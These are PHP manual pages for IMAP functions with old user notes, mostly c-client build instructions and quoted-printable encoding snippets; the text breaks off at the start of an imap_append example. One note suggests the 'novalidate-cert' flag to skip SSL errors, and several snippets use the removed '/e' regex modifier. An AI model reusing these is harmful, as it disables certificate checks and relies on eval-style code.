11) Restart Apache: 'sudo service httpd restart'
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!

There are slight differences in achieving the same in Ubuntu 10.04 x64 (or perhaps other versions too):
4) Download php source code using 'apt-get source php5', which will create a php5-* source folder
5) Install the php5-imap plugin using 'sudo apt-get install php5-imap'
7) Compile c-client. I had to use 'make ldb IP6=4'
10) Copy/replace the imap.so file from the ./modules folder to your PC's php folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php5/20090626'
11) Restart Apache: 'sudo service apache2 restart'

* Notes:
(a) yumdownloader is part of yum-utils package, which can be installed using 'yum install yum-utils'
(b) You can extract the rpm file using 'rpm2cpio php-*.src.rpm | cpio -idmv'
(c) You can greatly improve the compilation speed on a multi-core PC using 'make -j `grep -c ^processor /proc/cpuinfo`'
Syd Miller 24-Apr-2010 12:00
If you're looking to access an IMAP server but your server does not have the IMAP-Extension installed (and you aren't an administrator), you'll have a few other options:

2) Access the IMAP Server using your server's Shell (this is assuming that you're Web Server and IMAP Server are (on) the same server).

3) Create your own IMAP-handler using fsockopen(), fgets(), and fputs().

The problem with option '2' is that, while it is possible, it is extremely difficult to accomplish. With that said, you might be better off using a class that has already been written for this purpose. A simple query into a internet search-engine of "PHP IMAP Class"
bigben3333 - gmail 22-Feb-2008 03:23
I've tried to compile php with imap sources for 2 days on a mandriva 2006 and it never work...

I succeed only when i uninstall the following RPM witch was already installed on my system :

libc-client
libc-client-devel
imap
imap-devel

here is my configure command :

./configure  --with-apache=/usr/local/apache --with-dbase --with-filepro --enable-mbstring --with-xml=/usr/local/php --enable-ftp --with-db --enable-bcmath --enable-calendar --with-mysql --with-zlib-dir --enable-trans-sid --with-imap=/usr/local/imap-2004g --with-kerberos --with-imap-ssl --with-openssl --enable-sysvsem --enable-sysvshm
kvazitron at gmail dot com 11-Feb-2008 11:48
I successfully installed c-client and compiled php 5.2.5 with imap on FreeBSD 6.3. To get this stuff work, i did following steps:

1) to install c-client:

download and uncompress c-client.tar.Z to folder /usr/local/
cd /usr/local/imap-2007
make bsf
mkdir include
ln -s c-client include
mkdir lib
cd lib
ln -s ../c-client/c-client.a libc-client.a

2) to compile php:
add this options
--with-imap=/usr/local/imap-2007 --with-imap-ssl
mogmios at gmail dot com 19-Oct-2007 09:36
In Fedora Core 6 64 bit w/ a custom compiled copy of Apache and PHP 4 I had to add packages libc-client*x84_64 and then just used config options --with-imap --with-kerberos --with-imap-ssl.
gpayne at galenaparkisd com 07-Aug-2007 09:48
You can also use the novalidate-cert flag and it won't bother you about the ssl stuff:

$mailbox = imap_open("{localhost:143/imap/novalidate-cert}INBOX", "user","pw");
mleiv 27-Jul-2007 01:12
MAC OSX advice for those less experienced in UNIX.

I had a lot of trouble with all the advice here, but I finally got it working, so I thought I'd leave my steps.  If you know a decent amount about UNIX you can probably do better on you own.
#1) downloaded version listed by php.net above.
#2) ran "make opx" on it (the three-letter is your OS, opx is later osx versions)
#3) copied resulting c-client/ folder to where I wanted to leave my imap stuff, herafter referred to as IMAP_HOME.
#4) renamed IMAP_HOME/c-client/c-client.a to libc-client.a
#5) ran "configure" on php using --with-imap=IMAP_HOME --with-kerberos  --with-imap-ssl (my configure insisted that I use the last two)
#6) make, make install, and restarted Apache.  Voila!

At this point you can delete the downloaded imap stuff, or move it to your sources/ folder or whatever.
bogdanderen at mail dot ru 07-Jul-2007 03:41
INSTALLING IMAP
   1. Log in as root:
      su -
   2. Download IMAP installation
   3. Untar the package:
      tar -zxf IMAP_PACKAGE_FILENAME
   4. Enter the source directory:
      cd IMAP_PACKAGE_DIRECTORY
   5. Build the package.
      # edit Makefile EXTRACFLAGS=-fPIC
      # make lrh
   6. Install the lib and include files:
      # mkdir /IMAP_DIR/lib
      # mkdir /IMAP_DIR/include
      # cp -r ./src/c-client/*.h /IMAP_DIR/include/
      # cp  ./c-client/linkage.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.c /IMAP_DIR/lib/
      # rm -rf all files and directories except /IMAP_DIR/include/ & /IMAP_DIR/lib/
   7. Create the osdep.h link:
      Linux:
      # ln -s ./include/c-client/os_slx.h \
      /IMAP_DIR/include/osdep.h

INSTALLING PHP (DO NOT --with-kerberos)
    --with-imap=/IMAP_DIR
eeescalona at yahoo dot com 20-Feb-2007 09:49
fyi.

I had an error during this process

*downloaded from ftp.cac.washington.edu  imap-2006e.tar.gz
*untarred it as /usr/local/src/imap-2006e.
*made lrh (make lrh)
*copied /usr...imap-2006e/c-client/c-client.a into ..../client/libc-client.a
*cd /usr/local/src/php-4.2.1/
*configured php using ... --with-imap=/usr/local/src/imap-2006e --with-ssl

*and during make the following error occurred.

php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
make[3]: *** [php_imap.lo] Error 1
make[3]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/local/src/php-4.2.1/ext'
make: *** [all-recursive] Error 1

apparently, apache 4.2.1 and imap-2006e has the same declared function which creates a duplication problem. the utf8_mime2text function is both found on files:

php-4.2.1/imap/php_imap.c (2 occurences)
imap-2006e/c-client/utf8aux.h (1 occurences)
imap-2006e/c-client/utf8aux.c (1 occurrences)
imap-2006e/c-client/mail.c (5 occrences)

bug fixers says i have to upgrade my php, but I cant afford to change versions since i run some home grown developed php software which doesnt work on higher versions.

So I did this.

I replaced all utf8_mime2text texts with utf8_mime2text2 for the imap sources.

since my server is both web and mysql, i used a built in mysql command called 'replace'

$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.h
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.c
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/mail.c

then i continued make and make install, without the reported error.

caveats...i just did this to try it. i dunno if it will work later...
couplewith at interpakr dot co dot kr 12-Feb-2007 02:37
imap-install
  1. tar xvzf c-client.tgz
  2. cd imap-2006e
  3. make lrh    # install redhat linux
  4. cp c-client/c-client.a  /usr/local/lib/libc-client.a
      copy head files
      c-client/rfc822.h, mail.h 과 linkage.h
       /usr/local/include
       c-clinet/utf-8.h /usr/local/include
  5. if  U8T_CANONICAL undefined error
      edit php_src/ext/imap/php_imap.c

==add 53 line ==
#include <time.h>
#include <stdio.h>
#include <ctype.h>
#include <signal.h>
+#include "utf8.h"
   6. make php installatin step
Marplatense 23-Nov-2006 05:52
Compiling php with support for imap on a linux 64 bits server (tested with php 5.1.6, php 5.2.0, CentOS 4.4 64 bits and c-client snap 0611201609):

1- download the imap from ftp.
# tar -zxvf imap-2006d.DEV.tar.Z
# cd imap-2006d.DEV.SNAP-0611201609/
# vim MakeFile
2- Search for "EXTRACFLAGS=" and add -fPIC at then end:
    before EXTRACFLAGS=
    after   EXTRACFLAGS=-fPIC
3- save the file and quit
# make lrh
# cd c-client/
# cp /.../imap-2006d.DEV.SNAP-0611201609/c-client/c-client.a /.../imap-2006d.DEV.SNAP-0611201609/c-client/libc-client.a
4- navigate to your php directory and:
# ./configure ... lots of options here and ... --with-imap=/.../imap-2006d.DEV.SNAP-0611201609 --with-imap-ssl
# make
# make install

Additional notes:
a- I choose "lrh" in the make but you might check what's yours option.
b- I made it with ssl support and because of this I added the --with-imap-ssl in the php configure option. You might make it with no SSL
James Triplett <jm-php at vj8 dot net> 06-Apr-2006 04:50
Building Apache2, PHP and IMAP requires a shareable version
of the c-client library, but the standard UW code doesn't provide one.
I couldn't find any way to build with the libc-client.a without generating piles of relocation errors. (gcc on Solaris 10)

The IMAP c-client library can be built shareable with the following steps:
1. fix the Makefile in .../imap-2004/c-client to include:
BASECFLAGS="-fPIC -O3"
2. make
3. mkdir tmp
4. cd tmp
5. ar xv ../c-client.a  (to extract the .o files)
6. gcc -shared -o c-client.so *.o  (to create the .so library)
7. copy that c-client.so to /usr/local/imap/lib/libc-client.so
    (it may be necessary to hide the libc-client.a)
8. configure PHP ; make; make install
BjarneDM macintosh at mathiesen dot info 20-Oct-2005 09:49
Mac OS X client install notes with DarwinPorts

The c-client.a isn't present on your system after you've installed the imap-uw package. !But! it's actually present at a specific time during the install phase as it's being complied from source - it's just deleted at the end of the compilation process. So, we'll have to break the install process down into it's component processes and get hold of what we need at the appropriate time:

sudo port fetch imap-uw
sudo port extract imap-uw
sudo port patch imap-uw
sudo port configure imap-uw
sudo port build imap-uw
imapLib=/darwinports/var/db/dports/distfiles/imap-uw/lib
imapIncludes=/darwinports/var/db/dports/distfiles/imap-uw/include
sudo mkdir ${imapLib} ${imapInclude}
cd /darwinports/var/db/dports/build/*/*/*/c-client
sudo cp *.c ${imapLib}
sudo cp *.h ${imapIncludes}
sudo cp c-client.a ${imapLib}/libc-client.a
cd ${imapLib}
ranlib - libc-client.a
sudo port install imap-uw

Now, you can just specify:
    --with-imap=/darwinports/var/db/dports/distfiles/imap-uw \
    --with-imap-ssl=/darwinports \
in your ./configure command.
php at got2get dot net 07-Sep-2005 05:04
Install note for FreeBSD:

If you get this:

/libexec/ld-elf.so.1: /usr/local/lib/php/20041030/imap.so: Undefined symbol "ssl_onceonlyinit"

...in your httpd-error.log.

It is because you compiled cclient without SSL support.

However. In order for me to get SquirrelMail woorking, I had to install ports/mail/imap-uw with WITHOUT_SSL=yes and same option for ports/mail/cclient. After doing this, I recompiled cclient w/o any options to get SSL support, and then installed posrt/mail/php5-imap.

This works. But if you just want SSL everywhere - install imap-uw normally, which will install cclient too. After that, install php5-imap normally as well - and you have a working system with SSL.

Hope this saves more people from wasting too much time like I just did ;)

 - Nicolai
v dot 0000000001 dot -0006398047 at vertabiz dot com 23-Jun-2005 06:01
Since this library at a whole is fairly poorly documented, and it doesn't help that there's 30-something functions, and many of the functions do the same things, I have gone through and categorized the functions.  Hopefully this will help somebody else, I know it will help me!! -Justin

CONNECTION, ERRORS & QUOTAS
===========================
imap_timeout
imap_ping
imap_open
imap_reopen
imap_close
imap_check **(fairly useless)
imap_alerts
imap_errors
imap_last_error
imap_get_quota
imap_get_quotaroot
imap_set_quota

MESSAGES - READING
==================
imap_uid
imap_msgno
imap_fetchbody
imap_fetchheader
imap_fetchstructure
imap_fetch_overview
imap_body
imap_rfc822_parse_adrlist
imap_rfc822_parse_headers

MESSAGES - WRITING
==================
imap_mail_compose
imap_mail
imap_append
imap_rfc822_write_address

MESSAGES - OPERATIONS
=====================
imap_undelete
imap_thread
imap_delete
imap_mail_copy
imap_mail_move
imap_expunge
imap_clearflag_full
imap_setflag_full

MESSAGES - DECODE/ENCODE
========================
imap_utf7_decode
imap_utf7_encode
imap_utf8
imap_8bit
imap_base64
imap_binary
imap_mime_header_decode
imap_qprint

FOLDERS
=======
imap_createmailbox
imap_deletemailbox
imap_getmailboxes
imap_mailboxmsginfo
imap_renamemailbox
imap_headers **(fairly useless)
imap_status
imap_sort
imap_search
imap_listscan

NNTP
====
imap_unsubscribe
imap_subscribe
imap_getsubscribed

Others
=============================
imap_num_msg - use imap_mailboxmsginfo()
imap_num_recent - use imap_mailboxmsginfo()
imap_header - alias of imap_headerinfo()
imap_scanmailbox - alias of imap_listscan()
imap_listsubscribed - alias of imap_lsub()
imap_listmailbox - alias of imap_list()
imap_lsub - use imap_getsubscribed()
imap_list - use imap_getmailboxes()
imap_bodystruct - not documented
imap_getacl - not documented
imap_setacl - not documented
imap_headerinfo - use imap_fetch_overview()
Anonymous 13-Apr-2005 09:13
If you are having difficulty compiling on netbsd from source and want imap support then you should know that the c-client library is compiled with kerberos support.  Unfortunately gssapi_krb5 and k5crypto is not on the system (or at least wasn't for me).  I didn't have administrative level access to add these libraries so I had to do the following.  I still have to test that it worked 100% but at least it compiled without complaining.

Comment the following segments from the configure script.

Segment 1 -- test for gssapi_krb5 library

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lgssapi_krb5"
    else

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lgssapi_krb5"
   ;;
  esac

    fi
   ;;
  esac

Segment 2 -- test for k5crypto

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lk5crypto"
    else

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lk5crypto"
   ;;
  esac

    fi
   ;;
  esac

BTW.  Since I was only compiling for the modules (they have suPHP so I compile all my own modules when I need them) I only dropped this in for the php configure script parameters

./configure --with-imap=shared,xxxxxx --with-kerberos=xxxxxx --with-imap-ssl

This is verified working via an imap test.  One excellent test that I located on the phpbuilder.com site.  Here it is.  Modify the address, port, protocol type, username, and password appropriately.  The post was 5 years old but the script still works fine.  The posters name was "Matthew"

<HTML>
<HEAD>
<TITLE>imap_check</TITLE>
</HEAD>
<BODY>
<?
         //check for new messages

         $mailbox = imap_open("{localhost/pop3:110}INBOX",
                 "#username#","#password#");

         // Check messages
         $check = imap_check($mailbox);
         print("<PRE>");
         print("Date most recent message : " . $check->Date);
         print("<BR>");
         print("Connection type : " . $check->Driver);
         print("<BR>");
         print("Name of the mailbox : " . $check->Mailbox);
         print("<BR>");
         print("Number of messages : " . $check->Nmsgs);
         print("<BR>");
         print("Number of recent messages : " . $check->Recent);
         print("<BR>");
         print("</PRE>");

         // show headers for messages

         $index=1;

         $header = imap_header($mailbox, $index);
         print("<PRE>");
         print("Header Date : " . $header->Date . "<BR>");
         print("Header To : " . $header->to) . "<BR>";
         print("Header From : " . $header->From . "<BR>");
         print("Header cc : " . $header->cc . "<BR>");
         print("Header ReplyTo : " . $header->ReplyTo . "<BR>");
         print("Header Subject : " . $header->Subject . "<BR></PRE>");

         print("<PRE>");
         print(imap_body($mailbox,$index));
         print("</PRE><HR>");

         imap_close($mailbox);
?>

</BODY></HTML>
seem dot iges at mail dot ee 15-Feb-2005 02:48
If you like me disvoer that "make slx" fails, but you're damn sure you've openssl installed then, it might be that the lib and include paths on your distro are different then the defaults provided in the imap-2004a (or imap-XXXXx). To modify go to dir ../imap-2004a/src/osdep/unix and edit the section (shown below) in the Makefile

# Extended flags needed for SSL.  You may need to modify.

#SSLDIR=/usr/local/ssl
SSLDIR=/etc/ssl
SSLCERTS=$(SSLDIR)/certs
SSLKEYS=$(SSLCERTS)
#SSLINCLUDE=$(SSLDIR)/include
SSLINCLUDE=/usr/include/openssl
#SSLLIB=$(SSLDIR)/lib
SSLLIB=/usr/lib

SSLCRYPTO=-lcrypto

Commented out SSLDIR, SSLINCLUDE and SSLIB are defaults and the uncommented are valid paths for Slackware (10.0/10.1).
You should also check your ld.so.conf for valid paths.
antivert 13-Jan-2005 05:55
Note that is not not necessary to disable SSL in the IMAP compile to make it work with PHP 5.0.3.

1. Compile IMAP with SSL support for your system:

cd /path/to/imap/source/
make <system type> (ldb, lnx, etc)
mkdir include
mkdir lib

2. Make links in IMAP source directory:

cd /path/to/imap/source/c-client
cp *.h ../include/
cp *.c ../lib/
cp c-client.a ../lib/libc-client.a

3. Compile PHP with SSL support,  --with-imap=/path/to/imap/source/ . If SSL support fails, you'll get a configure-time error that IMAP doesn't work. This is a lie, you just need to get SSL support working in PHP. On certain linux systems, with OpenSSL 0.9.7, this means adding --with-openssl=/usr (if the OpenSSL files are in /usr/include/openssl/) instead of the proper directory containing the OpenSSL files. For some reason, giving a parent directory makes PHP able to find the OpenSSL include files.

4. PHP should build.

Alternately, you can disable SSL during the IMAP build, as per the previous directions posted here.
amit dot gupta at prudence-india dot com 18-Nov-2004 09:44
I faced problem in compiling imap with php-5.0.2 release version. Then following commands on snapshot version solved my problem

# tar -zxvf imap-2004b.DEV.tar.Z
# cd imap-2004b.DEV.SNAP-0411051435/
# make lnp SSLTYPE=none
# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.h /usr/local/imap-2004b.DEV.SNAP-0411051435/include/

# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.c /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/

# ln -s /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/c-client.a /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/libc-client.a

# tar -zxvf php5-STABLE-200411180530.tar.gz

# cd php5-STABLE-200411180530

./configure  --with-apxs2=/usr/sbin/apxs --enable-shared --with-mod_charset --enable-force-cgi-redirect --enable-fastcgi --enable-magic-quotes --with-openssl  --with-zlib  --enable-bcmath  --enable-calendar --with-curl  --with-curlwrappers  --enable-dba   --with-gdbm --with-cdb  --with-inifile  --with-flatfile  --enable-dbase   --enable-dbx     --enable-dio --with-fam  --enable-filepro  --enable-ftp  --with-ldap  --enable-mbstring --with-mysql=/usr/include  --with-zlib-dir  --enable-shmop --enable-soap  --enable-sockets    --enable-sysvmsg   --enable-sysvsem  --enable-sysvshm  --enable-wddx --with-pic --enable-versioning  --with-pgsql --with-java=/usr/java/jdk1.5.0/  --with-imap=/usr/local/imap-2004b.DEV.SNAP-0411051435 --with-kerberos

# make

# make install

Thus, php compiled sucessufully with imap support on fedora core 1.
Pete Spicer, sleeping [at] myperch.org 18-Jul-2004 12:19
I have a pretty much stock set-up of SuSE 8.1 Personal (Apache, PHP et al built by me) and IMAP-2004 refused to build for me.

What I found was, using the make lsu (for SuSE) almost worked built I was getting odd build results, i.e. make failures.

The problem? GCC 3.2. If you don't have an older GCC available, please install one! I installed the gcc_old package from SuSE and built with the following command:

CC=gcc297 make lsu SSLTYPE=none

The result was a perfect build. So if you are getting errors, please try an earlier build of GCC.
Tomas V.V.Cox 11-May-2004 03:15
For compiling this extension without compiling imap from sources I did (this was mandrake):

Install the following rpms:
imap
imap-devel
openssl
openssl-devel
krb5
krb5-devel
pam
pam-devel

Do the trick:
# mkdir /usr/include/imap/lib
# cp /usr/lib/libc-client-PHP4.a /usr/include/imap/lib/libc-client.a

And the configure line:
./configure <options> --with-imap=/usr/include/imap --with-imap-ssl

(don't forget --enable-pear ;)


Convert an 8bit string to a quoted-printable string

  • « IMAP Functions
  • imap_alerts »
  • PHP Manual
  • IMAP Functions
  • Convert an 8bit string to a quoted-printable string

imap_8bit

(PHP 4, PHP 5)

imap_8bit — Convert an 8bit string to a quoted-printable string

Description

string imap_8bit ( string $string )

Convert an 8bit string to a quoted-printable string (according to » RFC2045, section 6.7).

Parameters

string

The 8bit string to convert

Return Values

Returns a quoted-printable string.

See Also

  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

Michael Konecny 12-Jun-2011 06:57
There is a bug in MS Exchange server, that improperly handles CRLFs. Seems like it converts both CR and LF into LF, so, instead of getting just a new line, you get TWO new lines.
The header information is then improperly parsed by the e-mail client, and is usually viewed in the message body.

This can make custom-created headers unusable.

The only way I found to get around this is to go against RFC rules for header formatting, and use only \n for new lines.

Unfortunately I haven't been able to learn the version of Exchange server where this happened, but I have the feeling that it's not just the one I was unlucky to encounter.

Hope this helps someone.
esh dot software at energiash dot com 03-Sep-2009 03:45
When producing quoted printable emails this is the right way

$subject="Subject: =?iso-8859-1?Q?". imap_8bit("áéíóú"). "?=";

and the following would do the wrong thing, because qprint over "=ED" would produce 8bit data ( í ):

$subject="Subject: =?iso-8859-1?Q?". imap_qprint("=ED"). "?=";
Anonymous 22-Jun-2008 02:25
umu's code seems to work great. BUT if you are on a Unix system you should replace all chr(13).chr(10) with just chr(10)

Works for me anyway on php5.mail() -> qmail@suse10.1 -> outlook express
roman at REMOVETHIS dot teamnet dot com dot pl 11-May-2007 01:26
Code based on k dot kozlowski at enter dot pl but for UTF-8
(the only problem i encounter is SUBJECT_ENCODED_TWICE on SPAM test with very long subject, but the same produce others MUA's)
<?
function header_quoted_printable_encode($string, $encoding='UTF-8') {

    $string = str_replace(" ", "_", trim($string)) ;
    // We need to delete "=\r\n" produced by imap_8bit() and replace '?'
    $string = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($string))) ;

    // Now we split by \r\n - i'm not sure about how many chars (header name counts or not?)
    $string = chunk_split($string, 73);
    // We also have to remove last unneeded \r\n :
    $string = substr($string, 0, strlen($string)-2);
    // replace newlines with encoding text "=?UTF ..."
    $string = str_replace("\r\n", "?=".HEAD_CRLF." =?".$encoding."?Q?", $string) ;

    return '=?'.$encoding.'?Q?'.$string.'?=';
}
?>
umu 28-Jan-2006 02:58
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

I use the following function instead of imap_8bit
when using PHP without the IMAP module,
which is based on code found in
http://www.php.net/quoted_printable_decode,
and giving (supposedly) exactly the same results as imap_8bit,
(tested on thousands of random strings containing lots
of spaces, tabs, crlf, lfcr, lf, cr and so on,
no counterexample found SO FAR:)

AND you can force a trailing space to be encoded,
as opposed to what imap_8bit does,
which I consider is a violation of RFC2045,
(see http://bugs.php.net/bug.php?id=35290)
by commenting that one central line.

<?php
function quoted_printable_encode($sText,$bEmulate_imap_8bit=true) {
  // split text into lines
  $aLines=explode(chr(13).chr(10),$sText);

  for ($i=0;$i<count($aLines);$i++) {
    $sLine =& $aLines[$i];
    if (strlen($sLine)===0) continue; // do nothing, if empty

    $sRegExp = '/[^\x09\x20\x21-\x3C\x3E-\x7E]/e';

    // imap_8bit encodes x09 everywhere, not only at lineends,
    // for EBCDIC safeness encode !"#$@[\]^`{|}~,
    // for complete safeness encode every character :)
    if ($bEmulate_imap_8bit)
      $sRegExp = '/[^\x20\x21-\x3C\x3E-\x7E]/e';

    $sReplmt = 'sprintf( "=%02X", ord ( "$0" ) ) ;';
    $sLine = preg_replace( $sRegExp, $sReplmt, $sLine );

    // encode x09,x20 at lineends
    {
      $iLength = strlen($sLine);
      $iLastChar = ord($sLine{$iLength-1});

      //              !!!!!!!!
      // imap_8_bit does not encode x20 at the very end of a text,
      // here is, where I don't agree with imap_8_bit,
      // please correct me, if I'm wrong,
      // or comment next line for RFC2045 conformance, if you like
      if (!($bEmulate_imap_8bit && ($i==count($aLines)-1)))

      if (($iLastChar==0x09)||($iLastChar==0x20)) {
        $sLine{$iLength-1}='=';
        $sLine .= ($iLastChar==0x09)?'09':'20';
      }
    }    // imap_8bit encodes x20 before chr(13), too
    // although IMHO not requested by RFC2045, why not do it safer :)
    // and why not encode any x20 around chr(10) or chr(13)
    if ($bEmulate_imap_8bit) {
      $sLine=str_replace(' =0D','=20=0D',$sLine);
      //$sLine=str_replace(' =0A','=20=0A',$sLine);
      //$sLine=str_replace('=0D ','=0D=20',$sLine);
      //$sLine=str_replace('=0A ','=0A=20',$sLine);
    }

    // finally split into softlines no longer than 76 chars,
    // for even more safeness one could encode x09,x20
    // at the very first character of the line
    // and after soft linebreaks, as well,
    // but this wouldn't be caught by such an easy RegExp
    preg_match_all( '/.{1,73}([^=]{0,2})?/', $sLine, $aMatch );
    $sLine = implode( '=' . chr(13).chr(10), $aMatch[0] ); // add soft crlf's
  }

  // join lines into text
  return implode(chr(13).chr(10),$aLines);
}
?>
hans at lintoo dot dk 22-Dec-2005 03:05
The code below this note gives a lot of trouple with SpamAssasin, to fix it you will need to encode your subject with something like this:
<?php
/**
 * Function to encode a header if necessary
 * according to RFC2047
 */
private function encodeHeader($input, $charset = 'ISO-8859-1')
{
    preg_match_all('/(\s?\w*[\x80-\xFF]+\w*\s?)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\x20\x80-\xFF])/e', '"=" . strtoupper(dechex(ord("\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }

    return wordwrap($input,75,"\n\t",true);
}
?>
hans at lintoo dot dk 04-Oct-2005 07:35
I modified nick at plumdigitalmedia dot com's note so that it may support ISO-8859-1 encoded headers:
<?php
    public function encodeSubject($string,$prefix="=?ISO-8859-1?Q?",$postfix="?=")    {
        $crlf    = "\n\t";
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]    = '/([\011\040])' . $crlf . '/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string);
        return $prefix.trim(wordwrap($string, 70 - strlen($prefix) - strlen($postfix), ' ' . $postfix . $crlf . $prefix, true)).$postfix;
    }
?>
Regards, Hans @ http://lintoo.dk/
marco dot manngatter at ecg-leipzig dot de 15-Sep-2005 12:43
you can use the following to make a larger subject.
use the imap_qprint() function, to convert your subject.

example:
<?php

$subject .= "=?iso-8859-1?Q?" . imap_qprint($subject) . "?=";

?>
nick at plumdigitalmedia dot com 10-May-2005 05:15
This function appears to wrap lines in the middle of words, not just at whitespace, which upsets some versions of Outlook Express when used to format email body text. We've had more luck with this function:

<?

    function quoted_printable($string)
    {
        $crlf    = "\n" ;
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]     = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]     = '/([\011\040])' . $crlf . '/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string) ;
        return trim(wordwrap($string, 70, ' =' . $crlf)) ;
    }

?>
k dot kozlowski at enter dot pl 14-Mar-2005 03:50
I had problems with encoding large subjects with polish characters. The problem was that imap_8bit() splits subject (on 75-th char) but when I add "=?ISO-8859-2?Q?" the header is too long.

This is a solution :
<?php
$subject = str_replace(" ", "_", trim($subject)) ;
// We need to delete "=\r\n" produced by imap_8bit() and replace '?'
$subject = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($subject))) ;
// Now we split by \r\n but with encoding text "=?ISO ..."
$subject = str_replace("\r\n", "?=\r\n =?ISO-8859-2?Q?", chunk_split($subject, 55)) ;
// We also have to remove last unneeded encoding text :
$subject = "=?ISO-8859-2?Q?" . substr($subject, 0, strlen($subject)-20) . "?=" ;
?>
rayFX 24-Jun-2004 06:14
imap_8bit seems to have a bug as it doesn't encode "?".
Had a lot of trouble to encode a mail-subject with
german umlaute with an ending "?"...

Try this:

$subject = "=?iso-8859-1?Q?" . str_replace("?","=3F",imap_8bit($tsubject_to_encode)) . "?=";
MagicalTux at FF.ST 15-Dec-2003 03:50
Reading Bully's note :
you can use the following to make a larger subject:
<?
$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
?>
It's wrong. The header MAY NOT go over 75 chars per line.

The right solution :
<?
$encoded = rtrim( str_replace( "\n","\n\t", imap_8bit ($string_to_encode)))."\r\n";
?>

It will add \t at the start of the encoded new lines.
Mailers to see the lines after Subject: as extensions of this header.
php dot net at werner-ott dot de 09-Dec-2002 11:45
A comment on the "split-after-75-characters" phenomenon:

By splitting lines up after 75 characters, the function's behaviour is complying to RFC2047 (http://www.ietf.org/rfc/rfc2047.txt) (which specifies a protocol for the representation of non-ASCII text in message headers), section "2. Syntax of encoded-words".

A so called 'encoded word' has the following format:

   encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.  If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used.

hth
WOT
bully at newearth dot de 24-Apr-2002 04:48
you can use the following to make a larger subject:

$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
zuffa at isdd dot sk 24-Sep-2000 05:57
Warning !
This function splits input text into
several lines aligned to 75 characters.
This is critical when you need input
text to be only one striaght line as
e.g. in e-mail header values.


Returns all IMAP alert messages that have occurred

  • « imap_8bit
  • imap_append »
  • PHP Manual
  • IMAP Functions
  • Returns all IMAP alert messages that have occurred

imap_alerts

(PHP 4, PHP 5)

imap_alerts — Returns all IMAP alert messages that have occurred

Description

array imap_alerts ( void )

Returns all of the IMAP alert messages generated since the last imap_alerts() call, or the beginning of the page.

When imap_alerts() is called, the alert stack is subsequently cleared. The IMAP specification requires that these messages be passed to the user.

Return Values

Returns an array of all of the IMAP alert messages generated or FALSE if no alert messages are available.

See Also

  • imap_errors() - Returns all of the IMAP errors that have occurred

User Contributed Notes

There are no user contributed notes for this page.


Append a string message to a specified mailbox

  • « imap_alerts
  • imap_base64 »
  • PHP Manual
  • IMAP Functions
  • Append a string message to a specified mailbox

imap_append

(PHP 4, PHP 5)

imap_append — Append a string message to a specified mailbox

Description

bool imap_append ( resource $imap_stream , string $mailbox , string $message [, string $options = NULL [, string $internal_date = NULL ]] )

Appends a string message to the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

message

The message to be append, as a string

When talking to the Cyrus IMAP server, you must use "\r\n" as your end-of-line terminator instead of "\n" or the operation will fail

options

If provided, the options will also be written to the mailbox

internal_date

If this parameter is set, it will set the INTERNALDATE on the appended message. The parameter should be a date string that conforms to the rfc2060 specifications for a date_time value.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.2 | Added INTERNALDATE support to imap_append.

Examples

Example #1 imap_append() example

<?php
